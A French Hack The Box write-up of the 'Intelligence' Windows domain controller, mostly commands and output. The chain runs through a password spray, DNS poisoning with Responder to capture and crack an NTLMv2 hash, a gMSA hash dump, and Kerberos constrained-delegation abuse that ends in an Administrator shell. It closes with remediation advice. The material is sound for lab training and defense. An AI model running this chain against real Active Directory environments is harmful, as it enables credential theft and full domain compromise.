HACKTHEBOX - INTELLIGENCE
Enumeration
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-29 20:47:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
|_ssl-date: 2023-11-29T20:49:16+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
|_ssl-date: 2023-11-29T20:49:14+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
|_ssl-date: 2023-11-29T20:49:16+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-11-29T20:49:15+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration web
Nous avons un site web disponible :
Ce dernier nous donne accès a 2 fichiers pdf téléchargeables :
Ce dernier se nomme 10.10.10.248/documents/2020-01-30-upload.pdf
:
Nous pouvons en déduire que les documents uploadés prennent la forme %Y-%m-%d-upload.pdf
. Nous allons énumérer ces documents la avec wfuzz :
Dans un premier temps, nous utiliserons un script bash pour générer notre wordlist :
Output bash
#!/bin/bash
# Start date in MM/DD/YYYY
start="01/01/2010"
# End date in MM/DD/YYYY
end="12/31/2024"
# File to write dates to
output_file="dates.txt"
# Store start & end dates as epoch times
start_epoch=$(date +%s -d "$start")
end_epoch=$(date +%s -d "$end")
# Open output file for writing
> $output_file
# Iterate from start to end date
while [[ $start_epoch -le $end_epoch ]]; do
date=$(date +"%Y-%m-%d" -d "@$start_epoch")
echo $date >> $output_file
start_epoch=$((start_epoch + 86400)) # Add 1 day in seconds
done
Puis nous utilisons cette wordlist avec wfuzz :
wfuzz -c -z file,./dates.txt --hc 404 -f urls.txt http://10.10.10.248/documents/FUZZ-upload.pdf
Output wfuzz
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.248/documents/FUZZ-upload.pdf
Total requests: 5479
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003656: 200 195 L 1171 W 26086 Ch "2020-01-04"
000003654: 200 198 L 1140 W 25596 Ch "2020-01-02"
000003653: 200 208 L 1172 W 25532 Ch "2020-01-01"
000003662: 200 204 L 1130 W 25159 Ch "2020-01-10"
000003711: 200 130 L 564 W 10959 Ch "2020-02-28"
<SNIP>
000004084: 200 138 L 556 W 10208 Ch "2021-03-07"
000004059: 200 204 L 1158 W 25618 Ch "2021-02-10"
000004078: 200 134 L 573 W 10728 Ch "2021-03-01"
000004104: 200 140 L 602 W 11548 Ch "2021-03-27"
000004102: 200 210 L 1167 W 25961 Ch "2021-03-25"
000004098: 200 204 L 1164 W 25460 Ch "2021-03-21"
000004095: 200 202 L 1158 W 26622 Ch "2021-03-18"
000004087: 200 198 L 1118 W 23859 Ch "2021-03-10"
Total time: 0
Processed Requests: 5479
Filtered Requests: 5380
Requests/sec.: 0
Nous avons énorméments de documents trouvés. Il est plus aisé de tous les télécharger a la fois pour les analyser ensuite. Pour cela, il faut mettre dans un premier temps tous les documents trouvés dans un fichier :
<SNIP>
http://10.10.10.248/documents/2020-09-29-upload.pdf
http://10.10.10.248/documents/2020-09-22-upload.pdf
http://10.10.10.248/documents/2020-10-19-upload.pdf
http://10.10.10.248/documents/2020-11-06-upload.pdf
http://10.10.10.248/documents/2020-11-13-upload.pdf
http://10.10.10.248/documents/2020-11-11-upload.pdf
http://10.10.10.248/documents/2020-11-10-upload.pdf
http://10.10.10.248/documents/2020-11-01-upload.pdf
http://10.10.10.248/documents/2020-11-03-upload.pdf
http://10.10.10.248/documents/2020-11-30-upload.pdf
http://10.10.10.248/documents/2020-11-24-upload.pdf
<SNIP>
Puis ensuite nous pouvons utiliser wget pour les télécharger :
wget -i urls.txt -P pdfs/
Nous retrouvons tous les documents dans le dossier pdfs/
:
ls pdfs
2020-01-01-upload.pdf 2020-02-11-upload.pdf 2020-03-17-upload.pdf 2020-05-11-upload.pdf 2020-06-07-upload.pdf 2020-06-28-upload.pdf 2020-08-09-upload.pdf 2020-09-16-upload.pdf 2020-11-06-upload.pdf 2020-12-24-upload.pdf 2021-02-21-upload.pdf
2020-01-02-upload.pdf 2020-02-17-upload.pdf 2020-03-21-upload.pdf 2020-05-17-upload.pdf 2020-06-08-upload.pdf 2020-06-30-upload.pdf 2020-08-19-upload.pdf 2020-09-22-upload.pdf 2020-11-10-upload.pdf 2020-12-28-upload.pdf 2021-02-25-upload.pdf
2020-01-04-upload.pdf 2020-02-23-upload.pdf 2020-04-02-upload.pdf 2020-05-20-upload.pdf 2020-06-12-upload.pdf 2020-07-02-upload.pdf 2020-08-20-upload.pdf 2020-09-27-upload.pdf 2020-11-11-upload.pdf 2020-12-30-upload.pdf 2021-03-01-upload.pdf
2020-01-10-upload.pdf 2020-02-24-upload.pdf 2020-04-04-upload.pdf 2020-05-21-upload.pdf 2020-06-14-upload.pdf 2020-07-06-upload.pdf 2020-09-02-upload.pdf 2020-09-29-upload.pdf 2020-11-13-upload.pdf 2021-01-03-upload.pdf 2021-03-07-upload.pdf
2020-01-20-upload.pdf 2020-02-28-upload.pdf 2020-04-15-upload.pdf 2020-05-24-upload.pdf 2020-06-15-upload.pdf 2020-07-08-upload.pdf 2020-09-04-upload.pdf 2020-09-30-upload.pdf 2020-11-24-upload.pdf 2021-01-14-upload.pdf 2021-03-10-upload.pdf
2020-01-22-upload.pdf 2020-03-04-upload.pdf 2020-04-23-upload.pdf 2020-05-29-upload.pdf 2020-06-21-upload.pdf 2020-07-20-upload.pdf 2020-09-05-upload.pdf 2020-10-05-upload.pdf 2020-11-30-upload.pdf 2021-01-25-upload.pdf 2021-03-18-upload.pdf
2020-01-23-upload.pdf 2020-03-05-upload.pdf 2020-05-01-upload.pdf 2020-06-02-upload.pdf 2020-06-22-upload.pdf 2020-07-24-upload.pdf 2020-09-06-upload.pdf 2020-10-19-upload.pdf 2020-12-10-upload.pdf 2021-01-30-upload.pdf 2021-03-21-upload.pdf
2020-01-25-upload.pdf 2020-03-12-upload.pdf 2020-05-03-upload.pdf 2020-06-03-upload.pdf 2020-06-25-upload.pdf 2020-08-01-upload.pdf 2020-09-11-upload.pdf 2020-11-01-upload.pdf 2020-12-15-upload.pdf 2021-02-10-upload.pdf 2021-03-25-upload.pdf
2020-01-30-upload.pdf 2020-03-13-upload.pdf 2020-05-07-upload.pdf 2020-06-04-upload.pdf 2020-06-26-upload.pdf 2020-08-03-upload.pdf 2020-09-13-upload.pdf 2020-11-03-upload.pdf 2020-12-20-upload.pdf 2021-02-13-upload.pdf 2021-03-27-upload.pdf
Password spray et Foothold
Une fois cela fait, nous analysons tous les documents jusqu'a trouver un document intéressant :
Ce dernier nous donne le mot de passe par défaut :
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
On trouve aussi un autre message caché dans un autre pdf :
Nous avons donc un mot de passe par défaut, mais nous n'avons pas de nom d'utilisateur connu sur l'ad.
Pour les trouver, il faut utiliser l'outil exiftool
. Ce dernier nous donne un nom d'auteur, correspondant à un utilisateur de l'ad :
Output exiftool
exiftool 2020-01-01-upload.pdf
ExifTool Version Number : 12.67
File Name : 2020-01-01-upload.pdf
Directory : .
File Size : 27 kB
File Modification Date/Time : 2021:04:01 19:00:00+02:00
File Access Date/Time : 2023:11:30 19:32:20+01:00
File Inode Change Date/Time : 2023:11:30 19:06:49+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Creator : William.Lee
Cependant, il existe un certain nombre de fichiers. Nous crééons un script qui permet d'automatiser le process :
Output bash exiftool
#!/bin/bash
# Dossier contenant les PDFs
FOLDER="/HTB/INTELLIGENCE/pdfs"
# Boucle sur tous les fichiers PDF dans le dossier
for file in "$FOLDER"/*.pdf; do
# Extrait la valeur du champ Creator
creator=$(exiftool "$file" | grep Creator | cut -d: -f2 | tr -d ' ')
# Affiche le nom du fichier et le creator si c'est Scott.Scott
echo "$creator"
done
Une fois l'execution du script faite, nous avons une liste d'utilisateurs :
./script_exiftool
William.Lee
Scott.Scott
Jason.Wright
Veronica.Patel
Jennifer.Thomas
Danny.Matthews
David.Reed
Stephanie.Young
Daniel.Shelton
Jose.Williams
John.Coleman
Jason.Wright=
Jose.Williams
[...]
Nous avons un mot de passe et une liste d'utilisateurs. Nous pouvons alors faire un password spray.
Le password spray est une attaque qui consiste à tester un mot de passe sur plusieurs utilisateurs.
Pour cela nous utiliserons kerbrute
:
Output kerbrute
kerbrute passwordspray --dc 10.10.10.248 -d intelligence.htb ./user_wordlist 'NewIntelligenceCorpUser9876' -v
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 11/30/23 - Ronnie Flathers @ropnop
2023/11/30 10:16:30 > Using KDC(s):
2023/11/30 10:16:30 > 10.10.10.248:88
[...]
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (37) KRB_AP_ERR_SKEW Clock skew too great
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (37) KRB_AP_ERR_SKEW Clock skew too great
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
[...]
On voit que l'on a l'erreur KRB_AP_ERR_SKEW Clock skew too great
sur l'utilisateur [email protected]
. Cela veut dire :
- Que nous n'avons pas la même heure que l'AS kerberos
- Que le mot de passe de
[email protected]
est bienNewIntelligenceCorpUser9876
!
Nous relançons la commande après avoir mis l'heure correcte (ntpdate <IP>
)
2023/11/30 18:17:40 > [+] VALID LOGIN: [email protected]:NewIntelligenceCorpUser9876
Nous listons les shares avec le compte de tiffany :
Output smbclient
smbclient -L intelligence.htb -U [email protected]
Password for [[email protected]]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to intelligence.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Dans le share Users
, nous retrouvons les documents de tiffany, et notamment le flag user !
Output
smbclient //intelligence.htb/Users -U [email protected]
Password for [[email protected]]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Mon Apr 19 03:20:26 2021
.. DR 0 Mon Apr 19 03:20:26 2021
Administrator D 0 Mon Apr 19 02:18:39 2021
All Users DHSrn 0 Sat Sep 15 09:21:46 2018
Default DHR 0 Mon Apr 19 04:17:40 2021
Default User DHSrn 0 Sat Sep 15 09:21:46 2018
desktop.ini AHS 174 Sat Sep 15 09:11:27 2018
Public DR 0 Mon Apr 19 02:18:39 2021
Ted.Graves D 0 Mon Apr 19 03:20:26 2021
Tiffany.Molina D 0 Mon Apr 19 02:51:46 2021
3770367 blocks of size 4096. 1442803 blocks available
smb: \Tiffany.Molina\Desktop\> type user.txt
type: command not found
smb: \Tiffany.Molina\Desktop\> get user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \Tiffany.Molina\Desktop\> exit
Escalation de privilèges
Utilisation d'un script powershell programmé
Dans le share IT
que nous avons découvert précédemment, nous avons un fichier downdetector.ps1
:
Output powershell
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
Ce dernier est un script qui tourne toutes les 5 minutes et qui :
- Récupère tous les enregistrements DNS qui commencent par
web
- Envoie une requête web avec des credentials (notamment grâce au flag
-UseDefaultCredentials
)
Nous devons alors (supposons que nous ayons les droits, ce qui est le cas par défaut pour tous les utilisateurs) créer un enregistrement DNS qui commence par web
et qui pointe vers notre machine. Pour cela, nous utilisons dnstool
de la suite krbrelayx
(https://github.com/dirkjanm/krbrelayx) :
Output dnstool
python3.11 dnstool.py -u INTELLIGENCE.HTB\\Tiffany.Molina -p NewIntelligenceCorpUser9876 -r web.intelligence.htb -d intelligence.htb -a add -t A -d 10.10.16.2 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
Une fois cela fait, nous lançons à la fois un responder ainsi qu'un wireshark :
sudo responder -I tun0 -v
Nous attendons 5 minutes, puis nous avons un hash NTLM qui apparait dans le terminal de responder :
Output responder
[HTTP] Sending NTLM authentication request to 10.10.10.248
[HTTP] GET request from: ::ffff:10.10.10.248 URL: /
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:2565d63fadea6c38:E6471AAF540DC28BFF7E11C14AE08189:0101000000000000361EE03BC023DA01DC11C8A289CAD23D0000000002000800330032004D00350001001E00570049004E002D00390034005000420032005500390048004F004C00350004001400330032004D0035002E004C004F00430041004C0003003400570049004E002D00390034005000420032005500390048004F004C0035002E00330032004D0035002E004C004F00430041004C0005001400330032004D0035002E004C004F00430041004C0008003000300000000000000000000000002000004931B9AAA2A7488B8D7897523C51342AFFE0F562B68231FFC6FA505326E686070A001000000000000000000000000000000000000900420048005400540050002F0077006500620069006E007400720061006E00650074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
Sur wireshark :
On voit que le responder à demandé une authentification de la part du DC, et que ce dernier a répondu avec un hash NetNTLM.
Nous pouvons alors utiliser john
pour cracker le hash :
Output john
john --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mr.Teddy (Ted.Graves)
1g 0:00:00:03 DONE (2023-11-30 22:59) 0.2652g/s 2869Kp/s 2869Kc/s 2869KC/s Mrz.deltasigma..Mkaylen07
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Lateral movement via gMSA
Une fois que l'on a les informations d'authentification de l'utilisateur Ted.Graves
, nous tentons de nous connecter via evil-winrm
, sans succès.
Nous lançons alors un bloodhound-python
qui nous permet, sans Sharphound
, de récupérer les informations de l'AD :
Output bloodhound-python
bloodhound-python -d INTELLIGENCE.HTB -ns 10.10.10.248 -u Ted.Graves -p Mr.Teddy
INFO: Found AD domain: intelligence.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 43 users
INFO: Found 55 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
WARNING: Could not resolve: svc_int.intelligence.htb: The DNS query name does not exist: svc_int.intelligence.htb.
INFO: Done in 00M 03S
Nous importons les résultats sur notre bloodhound :
Nous trouvons un compte nommé svc_int
dont nous pouvons voir le mot de passe gMSA.
Nous utilisons donc gMSADumper
pour récupérer le mot de passe :
Output gmsadumper
python3.11 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::6c986cdcb965f2607f894fb257417f8e
svc_int$:aes256-cts-hmac-sha1-96:13e30243822cc7540f660c3f53eabab0b22fee43503dc9b52a760c8309b2ab3c
svc_int$:aes128-cts-hmac-sha1-96:472b1fa3589aed96333772ce3d620bae
Nous pouvons alors utiliser le premier hash 6c986cdcb965f2607f894fb257417f8e
(NTLM) pour pouvoir nous authentifier en tant que svc_int
.
Privilege escalation avec un Delegation Contrainte Kerberos
En faisant un ldapsearch
, nous trouvons l'entrée relative a svc_int
:
Output ldapsearch
# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
objectClass: msDS-GroupManagedServiceAccount
cn: svc_int
distinguishedName: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=h
tb
instanceType: 4
whenCreated: 20210419004958.0Z
whenChanged: 20210614140522.0Z
uSNCreated: 12846
uSNChanged: 28709
name: svc_int
objectGUID:: eaCA8SbzskmEoTSCQgjWQg==
userAccountControl: 16781312
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
localPolicyFlags: 0
pwdLastSet: 132681531223540162
primaryGroupID: 515
objectSid:: AQUAAAAAAAUVAAAARobx+nQXDcpGY+TMeAQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: svc_int$
sAMAccountType: 805306369
dNSHostName: svc_int.intelligence.htb
objectCategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configurat
ion,DC=intelligence,DC=htb
isCriticalSystemObject: FALSE
dSCorePropagationData: 16010101000000.0Z
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb
msDS-SupportedEncryptionTypes: 28
msDS-ManagedPasswordId:: AQAAAEtEU0sCAAAAZwEAABsAAAAQAAAAWa6dT0SPVr+SpfQILta2E
QAAAAAiAAAAIgAAAGkAbgB0AGUAbABsAGkAZwBlAG4AYwBlAC4AaAB0AGIAAABpAG4AdABlAGwAbA
BpAGcAZQBuAGMAZQAuAGgAdABiAAAA
msDS-ManagedPasswordPreviousId:: AQAAAEtEU0sCAAAAZwEAABkAAAAIAAAAWa6dT0SPVr+Sp
fQILta2EQAAAAAiAAAAIgAAAGkAbgB0AGUAbABsAGkAZwBlAG4AYwBlAC4AaAB0AGIAAABpAG4AdA
BlAGwAbABpAGcAZQBuAGMAZQAuAGgAdABiAAAA
msDS-ManagedPasswordInterval: 30
msDS-GroupMSAMembership:: AQAEgBQAAAAAAAAAAAAAACQAAAABAgAAAAAABSAAAAAgAgAABABQ
AAIAAAAAACQA/wEPAAEFAAAAAAAFFQAAAEaG8fp0Fw3KRmPkzOgDAAAAACQA/wEPAAEFAAAAAAAFF
QAAAEaG8fp0Fw3KRmPkzHYEAAA=
Nous nous intéressons particulièrement à ces 2 attributs :
userAccountControl: 16781312
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb
msDS-AllowedToDelegateTo
L'attribut userAccountControl
est un attribut qui permet de définir les droits d'un utilisateur. Il est codé en décimal sa valeur correspond aux différents privilèges que ce compte présente :
Voici les privilèges et leur valeur :
L'attribut msDS-AllowedToDelegateTo
permet de définir les comptes auxquels un compte peut déléguer ses droits. Ici, nous voyons que svc_int
peut déléguer ses droits au principal WWW/dc.intelligence.htb
.
Pour comprendre cette valeur de userAccessControl, nous utilisons le script bash suivant :
Output script bash
#!/bin/bash
declare -A flags=(
[1]="SCRIPT"
[2]="ACCOUNTDISABLE"
[8]="HOMEDIR_REQUIRED"
[16]="LOCKOUT"
[32]="PASSWD_NOTREQD"
[64]="PASSWD_CANT_CHANGE"
[128]="ENCRYPTED_TEXT_PWD_ALLOWED"
[256]="TEMP_DUPLICATE_ACCOUNT"
[512]="NORMAL_ACCOUNT"
[2048]="INTERDOMAIN_TRUST_ACCOUNT"
[4096]="WORKSTATION_TRUST_ACCOUNT"
[8192]="SERVER_TRUST_ACCOUNT"
[65536]="DONT_EXPIRE_PASSWORD"
[131072]="MNS_LOGON_ACCOUNT"
[262144]="SMARTCARD_REQUIRED"
[524288]="TRUSTED_FOR_DELEGATION"
[1048576]="NOT_DELEGATED"
[2097152]="USE_DES_KEY_ONLY"
[4194304]="DONT_REQ_PREAUTH"
[8388608]="PASSWORD_EXPIRED"
[16777216]="TRUSTED_TO_AUTH_FOR_DELEGATION"
[33554432]="PARTIAL_SECRETS_ACCOUNT"
)
uac_value=$1
if [[ $uac_value =~ ^[0-9]+$ ]]; then
for flag in "${!flags[@]}"; do
if (( $uac_value & $flag )); then
echo "${flags[$flag]}"
fi
done
else
echo "Veuillez entrer une valeur numérique pour userAccountControl."
fi
Puis nous pouvons executer le script sur un compte normal par exemple :
./UAC_decrypt.sh 66048
NORMAL_ACCOUNT
DONT_EXPIRE_PASSWORD
Notre script marche, nous pouvons l'executer sur le compte svc_int
:
./UAC_decrypt.sh 16781312
WORKSTATION_TRUST_ACCOUNT
TRUSTED_TO_AUTH_FOR_DELEGATION
Les flags correspondent a une délégation contrainte sur un ou plusieurs services spécifiés (https://learn.microsoft.com/fr-fr/windows-server/security/group-managed-service-accounts/configure-kerberos-delegation-group-managed-service-accounts)
Il est possible d'utiliser donc 2 techniques différentes pour faire une élévation de privilèges :
-
Service pour l'utilisateur à soi-même (S4U2self) : Si un compte de service possède une valeur userAccountControl contenant ̀TRUSTED_TO_AUTH_FOR_DELEGATION` (de confiance pour l'authentification par délégation), cela signifie que ce compte est autorisé à s'authentifier au nom d'autres utilisateurs sans leur mot de passe. Il peut ainsi obtenir des jetons de sécurité (TGS) au nom de ces utilisateurs pour accéder à des ressources.
-
Service pour l'utilisateur pour se substituer (S4U2proxy) : Un compte de service peut obtenir un ticket de service (TGS) au nom de n'importe quel utilisateur pour le service défini dans msDS-AllowedToDelegateTo. Pour ce faire, il a d'abord besoin d'un TGS de cet utilisateur vers lui-même, mais il peut utiliser S4U2self pour obtenir ce TGS avant de demander l'autre. Ensuite, il peut agir au nom de l'utilisateur pour accéder à ce service spécifique, en utilisant les droits accordés par le compte de service.
Nous allons faire la technique suivante :
Pour faire cette attaque, nous utiliserons impacket
:
Output impacket-getST
impacket-getST -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :6c986cdcb965f2607f894fb257417f8e
Impacket v0.11.0 - Copyright 2023 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
Une fois que nous avons le ticket, nous pouvons nous connecter en tant que Administrator
:
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass dc.intelligence.htb
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>
Nous avons un shell en tant que Administrator
!
Rémédiation
Comment se protéger de cette faille ?
- Utiliser le flag "This account is sensitive and cannot be delegated" sur les comptes critiques de l'AD.
-
Ne donner les droits
ReadGMSAPassword
qu'aux comptes qui administrent les comptes de services. -
Limiter les comptes de service ayant le droit
TRUSTED_TO_AUTH_FOR_DELEGATION
-
Appliquer le principe du moindre privilège de manière globale sur le SI